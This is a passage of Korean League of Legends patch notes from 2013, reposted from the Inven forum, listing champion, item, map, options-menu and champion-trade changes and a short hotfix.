• 마나 소모량이 100으로 감소했습니다. (기존 100/150/200)

바루스
부패의 사슬
• 마나 소모량이 100으로 감소했습니다. (기존 120)

빅토르
혼돈의 폭풍
• 마나 소모량이 100으로 감소했습니다. (기존 125/175/225)

소라카
기원
• 마나 소모량이 100으로 감소했습니다. (기존 100/175/250)

애쉬
마법의 수정화살
• 마나 소모량이 100으로 감소했습니다. (기존 150)

 

맵 밸런스


뒤틀린 숲 베타 테스트 종료
설명: 시즌3 종료가 얼마 남지 않은 가운데 드디어 뒤틀린 숲 베타 테스트를 마무리하게 됐습니다. 게임 디자인

개선을 그만두겠다는 것은 아닙니다. 앞으로도 계속해서 챔피언 밸런스를 조정하고 시스템을 개선할 예정이며,

새로운 아이템을 추가할 수도 있습니다.

 

수정의 상처
다음 변경 사항은 수정의 상처에만 적용됩니다.

 

맵 변경 사항 – 자가 치유 제한(수정의 상처)
설명: 도미니언의 자가 치유 제한은 방어에만 치중하는 플레이를 막기 위해 적용됐습니다. 그러나 도미니언이

진화하면서 더 이상 제 구실을 하지 못하게 됐고, 체력 재생이나 자가 치유에 의존하는 챔피언을 불리하게

만들 뿐이었습니다. 따라서 해당 제한을 삭제하기로 했습니다.

• 맵 전반의 자가 치유 감소 효과를 삭제했습니다.
 

변경 사항 – 속도의 성소 효과(수정의 상처)
설명: 기존 버전에선 하단 공격로를 급습하는 플레이어들이 속도의 성소 덕분에 유체화를 시전한 것 같은 속도로

이동할 수 있었습니다. 게다가 이 맵에는 와드가 없으므로, 급습을 당한 플레이어들은 속수무책으로 당할 수 밖에

없었습니다. 이번 변경을 통해 하단 공격로 플레이어들이 압박을 덜 받고, 이곳을 계속 압박하려는 팀은 더욱 많은

투자를 해야 하도록 변경했습니다.

• 속도의 성소에서 얻는 이동 속도 증가 효과가 시간이 지나면서 감소합니다.

 

티모
• 도미니언 포탑에 공격 받아도 신속한 이동의 스킬 지속 효과가 비활성화되지 않던 버그를 수정했습니다.

 

수정의 상처, 칼바람 나락 및 뒤틀린 숲 

다음 변경 사항은 수정의 상처, 칼바람 나락, 뒤틀린 숲에만 적용됩니다. 

 

그레즈의 유령 랜턴
요약: 그레즈의 유령 랜턴의 조합 비용을 높였고, 공격력을 약간 줄였습니다. 사용 효과의 시야 제공 지속 시간과

사거리, 시야 제공 범위를 벗어난 적 챔피언을 볼 수 있는 시간도 크게 줄였습니다.

 

설명: 비용 대비 효과가 너무 뛰어났기 때문에 다른 시야 아이템과의 밸런스를 맞추고자 변경했습니다.

 

• 조합 비용이 350골드로 증가했습니다. (기존 150골드)

o 총 가격이 1450골드로 상승했습니다. (기존 1250골드)

• 공격력이 15로 줄었습니다. (기존 20)
• 안개 지속 시간이 5초로 줄었습니다. (기존 10초)
• 이제 범위를 벗어난 적 챔피언을 3초 동안만 보여줍니다. (기존 6초)
• 사거리가 800으로 감소했습니다. (기존 1200)

 

마법공학 탐지기
요약: 마법공학 탐지기는 이제부터 점화석과 악마의 마법서로 조합합니다. 총 가격을 올렸고 대부분의

능력치(체력/주문력)를 하향했습니다. 추가 이동 속도를 삭제했으며 재사용 대기시간 감소 효과는 상향했습니다.

사용 효과의 시야 제공 지속 시간과 사거리, 시야 제공 범위를 벗어난 적 챔피언의 모습이 보이는 시간을

크게 줄였습니다.

 

설명: 마법공학 탐지기는 뒤틀린 숲 및 도미니언에서 필수적인 아이템입니다. 아이템의 위상을 떨어뜨리지 않는

범위 내에서 능력치를 하향하고 추가 이동 속도를 삭제해, 기존처럼 아무 챔피언에게나 잘 어울리진 않도록 했습니다.

또한 주문력 아이템을 구성할 때의 문제를 일부 해결하고자, 재사용 대기시간 감소 효과를 높였습니다.

 

• 조합 비용은 530골드로 증가했습니다. (기존 200골드)

o 총 가격을 2300골드로 인상했습니다. (기존 1920골드)

• 이제 증폭의 고서 둘 대신 악마의 마법서로 조합합니다.
• 체력이 250으로 감소했습니다. (기존 300)
• 주문력이 40으로 감소했습니다. (기존 50)
• 추가 이동 속도가 사라졌습니다.
• 재사용 대기시간 감소 효과를 20%로 높였습니다. (기존 10%)
• 재사용 대기시간 감소는 더 이상 고유 효과가 아닙니다.
• 안개 지속 시간이 5초로 줄었습니다. (기존 10초)
• 이제 범위를 벗어난 적 챔피언을 3초 동안만 보여줍니다. (기존 6초)
• 사거리가 800으로 감소했습니다. (기존 1200)

 

빛의 인도자
요약: 그레즈의 유령 랜턴 가격이 오른 것도 어느 정도 고려해 빛의 인도자의 가격을 올렸습니다. 또한, 공격력을

줄인 대신 방어 능력치(체력, 방어력, 생명력 흡수)를 추가했습니다. 사용 효과의 시야 제공 지속 시간과 사거리,

시야 제공 범위를 벗어난 적 챔피언의 모습이 보이는 시간을 크게 줄였습니다.

 

설명: 빛의 인도자는 매우 강력한 아이템으로, 이번 변경 후에도 뛰어난 아이템임에는 변함이 없습니다.

구성 아이템이 변경되어 더 많은 챔피언들이 이 아이템을 활용할 수 있을 것입니다.

 

• 조합 비용이 575골드로 올랐습니다. (기존 300골드)

o 총 가격이 2500골드로 올랐습니다. (기존 2425골드)

• 이제 곡괭이 대신 루비 수정으로 조합합니다.
• 추가 체력 200이 제공됩니다.
• 공격력을 20으로 줄였습니다. (기존 50)
• 방어력을 25로 높였습니다. (기존 20)
• 생명력 흡수를 15%로 상향했습니다. (기존 12%)
• 안개 지속 시간이 5초로 줄었습니다. (기존 10초)
• 이제 범위를 벗어난 적 챔피언을 3초 동안만 보여줍니다. (기존 6초)
• 사거리가 800으로 감소했습니다. (기존 1200)

 

핏빛 칼날
설명: 이 아이템은 공격력이 50으로 비용 대비 효과가 너무 뛰어났습니다. 그래서 일부 능력치를 하향하고

가격을 높여 밸런스를 맞추었습니다.

 

• 조합 비용이 600골드로 증가했습니다. (기존 500골드)

o 총 가격을 2275골드로 인상했습니다. (기존 2175골드)

• 공격력이 40으로 감소했습니다. (기존 50)

 

샤코
깜짝 상자
• 마법공학 탐지기 및 빛의 인도자 덫 감지 지속 효과로도 제대로 보이지 않던 버그를 수정했습니다.

 

뒤틀린 숲과 수정의 상처 아이템
아래 변경 사항은 뒤틀린 숲과 수정의 상처에만 적용됩니다.

 

일반
• 포탑에 포탑 작동 방식을 설명하는 가방 및 아이템이 추가됐습니다.

 

쌍둥이 그림자
요약: 쌍둥이 그림자의 가격이 내려가고, 사용 효과의 재사용 대기시간이 크게 단축됐지만, 주문력과 마법 저항력

수치는 하향됐습니다.

 

설명: 쌍둥이 그림자는 와드 없는 맵에서 매우 훌륭한 아이템이지만, 사용 효과 재사용 대기시간이 너무  길어

실용적이지 못했습니다. 좀 더 쉽게 갖출 수 있도록 가격을 낮추고, 이에 비례하여 능력치를 하향했습니다.

 

• 조합 비용이 735골드에서 535골드로 줄었습니다.

o 총 가격이 1900골드에서 1700골드로 줄었습니다.

• 주문력이 40에서 30으로 줄었습니다.
• 마법 저항력이 40에서 30으로 줄었습니다.
• 사용 효과 재사용 대기시간이 120초에서 60초로 줄었습니다.
• 이제 속도의 성소 효과가 유령들에게 적용됩니다.

 

어둠불꽃 횃불
요약: 어둠불꽃 횃불의 가격이 높아진 대신 이동 속도 증가 효과가 붙었고, 사용 시 마법 피해 증폭 효과의

전체 지속 시간은 줄어들었습니다.

 

설명: 어둠불꽃 횃불에 마법공학 탐지기에 붙어 있던 이동 속도 증가 효과가 적용됐습니다. 쉽게 갖출 수 있는

이동 속도 증가 아이템이 주문력 중심으로 플레이할 때 항상 필요한 것은 아니지만, 뒤틀린 숲이나 칼바람 나락 같은

작은 맵에서는 마법사에게도 이동 속도 아이템이 필요하다고 판단했습니다.

 

• 조합 비용이 720골드에서 970골드로 늘었습니다.

o 총 가격이 2400골드에서 2650골드로 늘었습니다.

• 이제 이동 속도를 10% 늘려줍니다.
• 마법 피해 증폭 효과 지속 시간이 6초에서 4초로 줄었습니다.

 

튜토리얼, AI 상대 협동 플레이, 봇 상대 사용자 설정 게임
다음 변경 사항은 봇을 상대로 하는 게임에만 적용됩니다
• 이제 봇을 상대로 플레이하는 게임(튜토리얼, AI 상대 협동 플레이, 봇 상대 사용자 설정 게임)에서는

포탑 주위에 포탑의 공격 사거리 및 공격 상태가 표시됩니다. 게임 메뉴에서 이 설정을 끌 수 있습니다.

 

리그 시스템 

• 이제 시즌2에서 실버 티어에 도달하신 플레이어 여러분은 이번 시즌 끝날 때까지 실버 소환사 정보창 테두리를  

보유하시게 됩니다.

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출처: 롤 인벤

http://www.inven.co.kr/board/powerbbs.php?come_idx=3329&l=91


2013년 10월 15일(화) 패치 노트



3.12 패치 노트

목차
일반 변경 사항 

챔피언
• 징크스
• 가렌
• 라이즈
• 루시안
• 쉔
• 쓰레쉬
• 올라프
• 카시오페아
• 카타리나

약간의 변경 및 버그 수정
• 니달리
• 요릭
• 카서스
• 티모
• 하이머딩거

아이템
• 탐식의 망치
• 삼위일체
• 도마뱀 장로의 영혼

맵 및 게임 모드 
• 소환사의 협곡
• 뒤틀린 숲과 수정의 상처
• 뒤틀린 숲
• 기본 튜토리얼
• AI 상대 협동 플레이 모드

게임 메뉴
리그 시스템
챔피언 교환 시스템 개선
게임 내 옵션 메뉴
스킨 

외부 프로그램 관련 중요 공지
이번 패치로 도입된 일부 변경 사항으로 인해 외부 프로그램 사용 시 게임 클라이언트 충돌 위험이 커졌습니다. 충돌이 일어날 경우, 리그 오브 레전드와 관련된 외부 프로그램을 삭제해 보시기 바랍니다. 

일반 변경 사항 
• 시야 와드와 투명 감지 와드의 그래픽을 업그레이드 했습니다. 기능은 예전과 같지만 보기에 더 근사해졌습니다. 
• 원거리 미니언의 공격 투사체에 궤적이 표시되도록 변경되었습니다. 투사체가 날아가는 방향이 더욱 잘 드러나므로, 미니언들이 무엇을 공격 대상으로 삼고 있는지 좀 더 쉽게 파악할 수 있습니다. 

스킬 발사체
설명: 적이 수풀이나 전장의 안개 속에서 스킬을 사용하면, 챔피언이 스킬에 적중 당할 때까지 플레이어의 화면에 발사체가 표시되지 않아, 영문도 모르고 당하는 경우가 종종 있었습니다. 이번 패치에서는 플레이어가 공격을 알아차리고 대응할 수 있도록, 공격 당하는 플레이어에게 발사체가 더 일찍 표시되도록 했습니다.

• 전장의 안개 속에서 쏜 발사체는 적 챔피언이 경로에 있는 경우 적의 화면에 더 일찍 표시됩니다.

챔피언 
징크스
신규 챔피언 징크스가 정의의 전장에 등장합니다.

가렌
• 가렌의 그래픽 업그레이드가 적용되었습니다. 이곳에서 더 자세히 확인해 보세요.

라이즈
요약: 기본 공격의 반응성을 개선했으며 기본 이동 속도 및 필사적인 힘의 추가 이동 속도를 모두 상향했습니다.

설명: 사거리가 중간 정도이며 튼튼하진 않은 대신, 뛰어난 기동성으로 적을 쓰러뜨리는 마법사라는 라이즈의 기본 방향성을 더욱 강화하고자 이번 변경이 이루어졌습니다. 기본 이동 속도가 빨라지고 기본 공격의 반응성이 더 좋아지면서 공격로에서 좀 더 유리해질 것입니다.

일반
• 추천 아이템을 변경해 밴시의 장막 대신 정령의 형상을 넣었습니다.
• 기본 이동 속도가 340으로 증가했습니다. (기존 335)
• 기본 공격의 반응성을 높였습니다.
필사적인 힘
• 이동 속도 증가량을 80으로 높였습니다. (기존 60/70/80)

루시안
요약: 꿰뚫는 빛 스킬의 충돌 판정 영역을 약간 좁혔지만, 대신 적 챔피언을 대상으로 시전하면 대상을 따라가도록 변경했습니다. 또한 루시안이 빛의 사수 첫 공격으로 대상을 처치하면, 다음 공격은 자동으로 다른 대상에게 가하도록 변경되었습니다. 이때, 방금 쓰러뜨린 유닛과 가장 가까운 적을 우선 대상으로 삼습니다.

설명: 주요 목표인 챔피언의 경우, 루시안의 꿰뚫는 빛은 종종 피하려고 하지 않아도 피해지는 스킬이었습니다. 스킬 적중률을 높이기 위해, 꿰뚫는 빛에 대상 추적 기능을 넣어 적이 루시안의 스킬 시전에 주의를 기울이지 않는다면 거의 확실히 적중시킬 수 있게 되었습니다. 하지만 적 플레이어가 스킬 공격을 의식한다면 좀 더 피하기 쉬울 것입니다. 
또한, 루시안의 기본 지속 효과 버그 때문에 두 번째 공격이 의도하지 않은 대상에 가해지는 경우가 있었습니다. 저희는 이를 활용할 수 있는 기능으로 만들기로 결정했습니다. 이제는 적이 빛의 사수의 두 번째 공격을 맞기 전에 죽는 경우, 루시안은 자동으로 다른 대상에게 두 번째 공격을 날립니다. 이때 방금 처치한 대상과 가장 가까이에 있는 적 유닛을 우선적으로 공격합니다. 물론 이 기능 때문에 미니언에게 최후의 일격을 날리는 데 지장이 생기거나, 의도하지 않았는데 적 포탑 밑에서 적 챔피언을 공격하는 일이 없도록 하는 방지 장치도 적용했습니다.

일반
• 루시안의 추천 아이템을 업데이트했습니다.
• 기본 마나 회복량이 7로 증가했습니다. (기존 6)
• 레벨당 마나 회복량이 0.7로 증가했습니다. (기존 0.65)
빛의 사수
• 두 번째 타격을 가하기 전에 공격 대상이 죽으면, 자동으로 다른 대상에게 두 번째 공격을 가합니다.
꿰뚫는 빛
• 광선의 충돌 판정 너비가 100유닛으로 줄었습니다. (기존 120)
• 적 챔피언에 시전되면, 대상을 80유닛 정도 쫓아갑니다.


요약: 이전에 쉔의 그림자 돌진은 기본 공격이든 스킬이든 관계 없이 도발 당한 적이 가하는 물리 피해를 모두 감소시킬 수 있었습니다. 이를 도발 당한 적이 가하는 기본 공격의 피해만 감소시키도록 변경했습니다.

설명: 그림자 돌진 스킬을 좀 더 명확하고 일관성있게 만들기 위한 변경입니다. 이전에 그림자 돌진은 도발 당한 적이 가하는 물리 피해를 줄여주었습니다. 따라서 회전하고 있는 가렌을 도발했을 때는 스킬과 기본 공격 피해를 모두 줄일 수 있었지만, 부패를 활성화한 카서스를 도발하면 기본 공격 피해만 줄어들었습니다. 이번 변경으로 도발 당한 적의 기본 공격 피해만 줄이는 좀 더 단순한 스킬이 됐습니다.

그림자 돌진
• 도발 당한 적의 기본 공격이 입히는 피해만 줄입니다. (기존에는 모든 물리 피해를 줄임)

쓰레쉬
요약: 사형 선고의 표준 재사용 대기시간을 늘렸지만, 낫을 적중시키면 재사용 대기시간이 줄도록 했습니다. 또한 기본 공격을 연달아 가할 때 사슬 채찍 지속 효과의 추가 마법 피해가 적용되지 않게 됐습니다. 이제 해당 효과를 발동시키려면 의식적으로 공격을 멈춰야 합니다.

설명: 플레이어의 실력이 어느 정도 뒷받침된다면 쓰레쉬는 공격로에서 지나치게 강력했습니다. 이번 변경을 통해 낚시하듯 여기저기 낫을 던져보는 플레이를 어렵게 만들고, 정확하게 스킬을 사용할 때에는 혜택을 얻을 수 있도록 했습니다. 낫을 적중시키면 스킬 레벨이 낮을 때는 이전 수준으로 재사용 대기시간이 줄어들며, 레벨이 높아지면 재사용 대기시간 감소 효과가 무시할 수 없을 만큼 커집니다. 사슬 채찍 지속 효과의 경우, 기본 공격을 연달아 퍼붓는 도중에는 추가 마법 피해가 적용되지 않도록 변경했습니다. 이를 통해, 쓰레쉬의 기본 공격을 통한 견제 능력을 하향했습니다.

사형 선고
• 재사용 대기시간이 20/18/16/14/12초로 증가했습니다. (기존 18/16.5/15/13.5/12초)
• 이제 적에게 적중시키면 재사용 대기시간이 3초 감소합니다.
사슬 채찍
• 이제 쓰레쉬의 기본 공격 재사용 대기시간이 완전히 지나야만 지속 효과로 발생하는 추가 마법 피해량이 증가하기 시작합니다.

올라프
요약: 올라프의 모든 스킬을 대대적으로 변경했습니다. 특히 올라프가 잘 성장했을 때도 상대가 대응책을 세울 여지가 있도록 했습니다. 주요 변경 사항을 짚어 볼까요? 역류 스킬에 최소 공격 거리를 적용했으며, 둔화 효과 지속 시간을 줄인 대신 둔화량을 높이고 둔화 효과가 지속 시간 동안 유지되도록 했습니다. 광포한 공격의 경우, 공격력과 주문 흡혈 효과는 사라졌지만 공격 속도를 증가시키며 올라프가 잃은 체력에 비례해 추가 치유 효과를 줍니다. 무모한 강타는 기본 피해량을 낮추고 재사용 대기시간을 하향하는 대신, 공격력 계수를 적용하고 기본 공격으로 재사용 대기시간을 줄일 수 있게 했습니다. 마지막으로 라그나로크에 방어력과 마법 저항력을 높여주는 지속 효과를 더했고, 시전하면 지속 효과가 사라지는 대신 추가 공격력을 부여하도록 했습니다. 군중 제어기 면역 효과는 그대로 유지됩니다.

설명: 실력이 뛰어난 올라프 플레이어는 게임의 중요한 재미 요소인 적과의 상호 작용을 대부분 무시할 수 있었습니다. (스킬을 잘 활용한다면) 끊임 없이 둔화를 걸고, 군중 제어기를 무시하며, 방어력에 집중 투자한 상황에서도 어마어마한 고정 피해를 입힐 수 있었기 때문에, 잘 성장한 올라프는 반격의 여지를 전혀 주지 않고 상대를 마음대로 하나씩 쓰러뜨릴 수 있는 챔피언이었습니다. 이번 변경을 통해 올라프가 다른 챔피언과 좀 더 바람직하게 상호작용 하도록 만들어, 올라프가 잘 성장했어도 상대하는 플레이어들이 적절한 대응책을 세울 수 있게 했습니다. 이번에 상당히 과감한 변경을 감행했으므로, 당분간 이번 변경의 효과가 어떠한지 면밀히 살펴볼 예정입니다.

일반
• 기본 마나가 235로 감소했습니다. (기존 270)
역류
• 기본 피해량이 70/115/160/205/250으로 감소했습니다. (기존 80/125/170/215/260)
• 둔화율이 35/40/45/50/55%로 증가했습니다. (기존 24/28/32/36/40%)
• 둔화 지속 시간이 도끼가 날아간 거리에 비례해1~2초로 감소했습니다. (기존에는 거리와 관계없이 2.5초)
• 둔화 효과가 시간에 따라 줄어들지 않습니다.
• 최소 거리(400)를 적용했습니다. 
• 통과할 수 없는 지형에 도끼가 착지하게 되는 경우, 대신 벽이나 구조물에 박힙니다.
• 도끼에 맞은 정글 몬스터가 유닛 충돌을 무시하게 돼, 정글에서 도끼를 집어 들기 편하게 되었습니다.
광포한 공격
• 마나 소모량이 30로 감소했습니다. (기존 40/45/50/55/60)
• 이제 공격 속도를 20/35/50/65/80% 증가시킵니다.
• 이제 잃은 체력 2.5%마다 1%의 추가 체력 회복 효과를 줍니다.
• 이제 공격력을 높여주지 않습니다.
• 이제 주문 흡혈을 높여주지 않습니다.
• 생명력 흡수 효과는 유지됩니다.
무모한 강타
• 재사용 대기시간이 12/11/10/9/8초로 증가했습니다. (기존 9/8/7/6/5초)
• 피해량이 70/115/160/205/250로 줄어들었습니다. (기존 100/160/220/280/340)
• 0.4의 총 공격력 계수가 추가되었습니다.
• 체력 소모량은 적에게 가하는 피해량의 40%입니다. (기존과 같은 비율)
• 이제 무모한 강타로 대상을 처치하면 소모한 체력을 돌려받습니다.
• 이제 기본 공격을 하면 무모한 강타의 재사용 대기시간이 1초 줄어듭니다.
라그나로크
• 재사용 대기시간이 120/100/80초로 변경되었습니다. (기존 100초)
• 이제 마나를 소모하지 않습니다.
• 지속 효과로 10/20/30의 방어력과 마법 저항력을 추가했습니다.
• 사용 효과 변경: 시전하면 추가 방어력과 마법 저항력이 사라지는 대신 40/60/80의 추가 공격력을 얻습니다.
• 라그나로크를 사용할 때 올라프가 붉게 변합니다.
• 군중 제어기 면역 효과는 유지되었습니다.

카시오페아
설명: 석화의 응시는 마나 소모량이 지나치게 높았습니다. 이를 수정해 다른 궁극기와 균형을 맞추고자 모든 레벨에서 마나 소모량을 낮추었습니다.

석화의 응시
• 마나 소모량이 100으로 감소했습니다. (기존 120/160/200)

카타리나
요약: 스킬 레벨이 높을 때의 죽음의 연꽃 피해량을 상향했으며, 주문력과 공격력 계수 또한 한층 강화했습니다. 또, 정신 집중 시간을 늘린 대신 시전 시 지연 시간을 없앴습니다. 이제 궁극기를 차단 당하더라도 카타리나의 전반적인 공격력이 더 높으면 높았지 전보다 낮지는 않을 것입니다. 또한 재사용 대기시간도 약간 줄였으므로, 스킬 레벨 3에서 킬이나 어시스트를 세 번 올리면 궁극기를 바로 다시 사용할 수 있게 됩니다.

설명: 죽음의 연꽃이 가진 무시무시한 피해량을 한층 강화해 힘과 재미를 좀 더 실어주고자 했습니다. 궁극적으로는, 죽음의 연꽃을 시전하려는 쪽과 차단하려는 쪽의 공방전이 카타리나 플레이에 독특한 재미를 줄 수 있을 것입니다. 시전 시간에 비례해 피해를 입히는 스킬인 만큼 정신 집중 시간이 늘어난 것은 하향으로 느껴질 수 있으나, 대신 시전 시 지연 시간을 없앴습니다.

죽음의 연꽃
• 이제 시전 즉시 스킬이 발동됩니다. (기존 시전 시 지연 시간 0.25초)
• 총 피해량이 400/575/750(+ 2.5 주문력)(+3.75추가 공격력)으로 증가했습니다. (기존 400/500/600 (+2.0 주문력)(+3.0 추가 공격력))
• 정신 집중 시간이 2.5초로 증가했습니다. (기존 2초)
• 재사용 대기시간이 60/52.5/45초로 감소했습니다. (기존 60/55/50초)

약간의 변경 및 버그 수정
니달리
숨통 끊기
• 니달리가 종종 원거리에서 숨통 끊기를 시전할 수 있었던 버그를 수정했습니다.

요릭
일반
• 이제 구울을 처치하면 5골드를 획득합니다. (기존 0)

카서스
진혼곡
• 적 챔피언에게 나타나는 경고 효과 표시 시간이 스킬 피해 적용 지연 시간과 일치하도록 변경했습니다.

티모
일반
• 이제 유독성 함정을 파괴하면 10골드를 획득합니다. (기존 0)

하이머딩거
진화형 포탑 H-28G
• 재사용 대기시간이 특정 상황에서 지나치게 길게 나타나던 버그를 수정했습니다.

아이템
탐식의 망치
• 조합 비용이 475골드로 증가했습니다. (기존 375골드)
• 총 가격이 1350골드로 증가했습니다. (기존 1250골드)
• 고유 지속 효과 – 격분: 원거리 챔피언에겐 추가 이동 속도가 절반만 적용됩니다.

삼위일체
• 총 가격이 3728골드로 증가했습니다. (기존 3628골드)
• 고유 지속 효과 – 격분: 원거리 챔피언에겐 추가 이동 속도가 절반만 적용됩니다.

도마뱀 장로의 영혼
• 피해량이 낮아지는 버그를 수정했습니다.

맵 및 게임 모드
소환사의 협곡
설명: 포탑이 작동하는 방식에는 복잡하고 이해하기 어려운 요소가 많았습니다. 플레이어들이 그런 요소들을 알아내기 위해 머리를 싸매지 않게 할 방법을 궁리하다, 포탑에 아이템을 장착하여 각 요소들을 쉽게 알아볼 수 있도록 했습니다.

• 포탑에 아이템 가방이 추가됐으며 클릭해서 확인할 수 있습니다. 각 아이템은 포탑의 작동 방식을 하나씩 알려줍니다. 실제 작동 방식은 변경되지 않았습니다.

뒤틀린 숲과 수정의 상처
다음 변경 사항은 뒤틀린 숲과 수정의 상처에만 적용됩니다.

달빛 마법검
• 총 가격이 2600골드로 증가했습니다. (기존 2300골드)
• 원거리 챔피언 외에도 강인함 효과를 사용할 수 있게 됐습니다.

케일
설명: 뒤틀린 숲과 수정의 상처에서 케일은 주로 재사용 대기시간 감소 효과에 집중 투자하는 방식으로 활용됐으며, 덕분에 레벨 3 중재 스킬을 너무 자주 사용할 수 있었습니다. 이 맵들의 핵심은 소규모 접전이 빈번하게 벌어진다는 점이므로, 중재의 재사용 대기시간을 늘려 케일 플레이어들이 궁극기를 더욱 신중하게 사용해야만 하도록 했습니다.

• 중재의 재사용 대기시간이 100/90/80 초로 증가했습니다. (기존 90/75/60초)

뒤틀린 숲
다음 변경 사항은 뒤틀린 숲에만 적용됩니다.

카시오페아
설명: 맹독 폭발로 얻는 추가 이동 속도와 쌍독니의 높은 피해량 덕분에 카시오페아는 적의 사거리 밖에서 안전하게 견제를 퍼부어 큰 피해를 입힐 수 있었습니다. 이 효과는 뒤틀린 숲에서 특히 두드려졌는데 이번 변경으로 균형을 좀 더 맞추었습니다.

• 맹독 폭발의 이동 속도 증가 효과가 16/17/18/19/20%로 줄어들었습니다. (기존15/17.5/20/22.5/25%)
• 쌍독니의 주문력 계수가 45%로 줄었습니다. (기존 55%)

룰루
설명: 3.11 패치 를 통해 수정의 상처에서 룰루의 궁극기를 조절했습니다. 그 결과가 좋아 뒤틀린 숲에서도 급성장의 재사용 대기시간을 변경하기로 했습니다.

• 급성장의 재사용 대기시간이 120/110/100초로 증가했습니다. (기존 110/95/80 초)

트린다미어
설명: 회전 베기로 날뛰던 트린다미어가 재사용 대기시간 하향의 덫에 빠졌습니다. 뒤틀린 숲의 좁은 맵에서 특히 유리한 트린다미어의 기동성과 생존력을 조정하기 위해, 회전 베기와 불사의 분노의 재사용 대기시간을 증가시켰습니다.

• 회전 베기의 재사용 대기시간이 15/14/13/12/11초로 증가했습니다. (기존 13/12/11/10/9초)
• 불사의 분노의 재사용 대기시간이 120/110/100초로 증가했습니다. (기존 110/100/90초)

오공
설명: 3.11 패치 에서 수정의 상처에 적용했던 회전격 재사용 대기시간과 바위 피부의 방어력/마법 저항력 변경을 이번에는 뒤틀린 숲에도 적용합니다.

• 바위 피부의 방어력 및 마법 저항력 증가 효과가 2/4/6으로 감소했습니다. (기존 4/6/8)
• 회전격의 재사용 대기시간이 120/110/100초로 증가했습니다. (기존 120/105/90)

AI 상대 협동 플레이 모드
자이라
• 이제 AI 상대 협동 플레이 모드에서 자이라 봇과 싸울 수 있습니다.

기본 튜토리얼
• 미니언 체력과 피해량이 잘못 표시되던 버그를 수정했습니다.

게임 메뉴
• 이제 창 모드로 플레이 할 때 옵션 메뉴가 열려 있어도 게임을 플레이 할 수 있습니다.
• 이제 창 모드로 플레이 할 때 옵션 메뉴가 열려있든 닫혀있든 마우스 커서가 게임 창을 벗어나지 않습니다.
• F9(기본 단축키)을 누르면 마우스 커서를 게임 창 밖으로 이동할 수 있어 게임플레이 중 다른 작업을 수행할 수 있습니다.

리그 시스템
• 시즌 보상을 받으려면 몇 번 더 팀 승리를 해야 하는지 알려주는 알림 아이콘을 소환사 정보창에 추가했습니다.

챔피언 교환 시스템 개선
요약: 챔피언 교환 시스템을 개선해 좀 더 안정적으로 교환이 이뤄지도록 하고, 교환이 실패했을 때 더 자세한 정보를 표시하도록 했습니다.

• 교환 시도가 동시에 이루어지면, 이를 교환에 지장을 초래하지 않도록 자동으로 관리합니다.
• 더 명확한 메시지가 표시됩니다:
• <플레이어1>님은 현재 다른 플레이어와 교환 중입니다.
• <플레이어1>님이 교환을 거절했습니다.
• <플레이어1>님이 교환 요청을 취소했습니다.
• <플레이어1>님은 현재 해당 챔피언을 가지고 있지 않습니다. 다시 교환을 시도해 주세요.
• 이제 현재 선택된 챔피언을 보유하지 않은 플레이어에겐 교환 요청을 할 수 없습니다.

버그 수정
교환 시스템에서 다음 버그들을 수정했습니다.
• 교환 후 친구 목록에 친구가 플레이 중인 챔피언이 업데이트 되지 않던 버그
• 플레이어가 교환 도중 주사위를 굴린 후 교환 상대에게 다른 챔피언을 주던 버그
• 교환 요청이 거절되면 교환 아이콘이 다시 나타나지 않던 버그
• 게임 클라이언트가 교환 요청을 거부하던 버그
• 교환 시스템에 엉뚱한 챔피언이 나타나던 버그
• 동시 교환 요청으로 인해 교환이 중단되고 불가능해지던 버그
• 시간이 지나도 교환 창이 사라지지 않아서 추가 교환을 할 수 없던 버그

게임 내 옵션 메뉴
요약: 게임 내 옵션 메뉴를 재구성해 좀 더 활용하기 쉽게 했습니다. 이제 직관적인 그래픽 인터페이스를 통해 명령별로 단축키를 지정할 수 있습니다. 각 명령에 해당하는 사각형을 클릭한 후 연결할 단축키를 누르기만 하면 됩니다. 의미를 분명히 하기 위해 ‘스마트 캐스트’라는 명칭을 ‘즉시 시전’으로 변경했습니다. 각 단축키의 즉시 시전을 간단히 끄고 켤 수 있습니다. 게임에 영향을 미치는 몇몇 옵션(음량, HUD 크기, 채팅화면 크기 등)의 경우 변경 사항을 적용하기 전에도 결과를 미리 볼 수 있게 됐습니다. 또한, 해상도 및 창 모드 변경에 걸리는 시간도 크게 단축됐습니다. 마지막으로 부활 시 카메라 이동을 막는 옵션을 게임 섹션에 추가했습니다.

• 기능을 찾아보기 쉽도록 옵션 메뉴를 재구성했습니다.
• 이제 확인 버튼을 누르기 전에 다른 페이지로 이동해도 변경 사항이 보존됩니다.
• 이제 기본값 되돌리기가 페이지별로 적용되어 모든 설정이 한번에 사라지지 않습니다.
• 마우스 휠을 사용해서 메뉴를 스크롤할 수 있습니다.

단축키
• ‘스마트 캐스트’를 ‘즉시 시전’으로 명칭 변경했습니다.
• 기본 단축키를 더 빠르고 쉽게 지정할 수 있으며 각 단축키별로 즉시 시전 여부를 선택할 수 있습니다.

인터페이스
• 음량, HUD 크기, 채팅화면 크기 등 일부 옵션의 경우 변경 사항을 적용하기 전에도 결과를 미리 볼 수 있습니다.
• 부활 시 카메라 이동을 막는 옵션이 게임 섹션에 추가되었습니다.
• ‘추가 옵션’ 섹션을 삭제했으며, 해당 섹션 내 항목들은 더 적절한 섹션에 포함되도록 재구성했습니다.

화면
• 이제 추가된 슬라이더 기능으로 모든 화면 및 그래픽 품질 관련 설정을 한번에 변경할 수 있습니다.
• 해상도 및 창 모드 변경에 걸리는 시간이 크게 단축됐습니다.

스킨
정령 수호자 우디르
• 특정 챔피언들과 상호작용할 때 들을 수 있는 음성 대사들이 추가되었습니다.

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출처 : 롤 인벤

http://www.inven.co.kr/board/powerbbs.php?come_idx=3329&l=90



2013년 9월 17일(화) 긴급 패치 노트


소환사 여러분,

9월 17일(화) 11:41 부터 적용되는 업데이트 내용입니다.

• 파랑팀 미니언이 보라팀 미니언보다 경험치를 2 더 올려주는 버그를 수정하였습니다.
• 월드 챔피언십 소환사 아이콘이 로딩 화면에 정상적으로 표시되지 않는 버그를 수정하였습니다.

월드 챔피언십 소환사 아이콘에 대한 수정 사항은 클라이언트 재시작 후 적용됩니다.

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출처 : 롤 인벤

http://www.inven.co.kr/board/powerbbs.php?come_idx=3329&l=89


2013년 9월 12일(목) 패치 노트




갈리오
요약: 듀란드의 석상의 재사용 대기 시간을 모든 스킬 레벨에서 단축했으며, 마나 소모량을 고정 수치로 변경해 전반적으로 감소시켰습니다.

